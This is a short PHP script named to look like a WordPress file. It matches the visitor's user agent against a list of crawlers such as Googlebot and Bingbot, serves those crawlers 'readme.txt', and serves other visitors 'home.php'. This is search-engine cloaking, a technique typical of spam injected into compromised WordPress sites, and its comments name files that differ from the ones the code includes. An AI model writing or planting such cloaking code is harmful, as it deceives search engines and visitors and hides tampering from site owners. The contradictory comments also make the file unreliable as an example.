<?php
// wp-content.php

// Function to check if the visitor is a bot
function isBot() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];

    // Common bot user agents
    $bots = array(
        'Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'Sogou',
        'Exabot', 'facebot', 'ia_archiver', 'MJ12bot', 'AhrefsBot', 'SemrushBot', 'DotBot',
        'rogerbot', 'linkdexbot', 'Mediapartners-Google', 'Twitterbot', 'Slackbot', 'Google-InspectionTool'
    );

    foreach ($bots as $bot) {
        if (stripos($userAgent, $bot) !== false) {
            return true;
        }
    }
    return false;
}

// Serve content based on visitor type
if (isBot()) {
    // Serve wp-content.html for bots
    include 'readme.txt';
} else {
    // Serve index.php for regular users
    include 'home.php';
}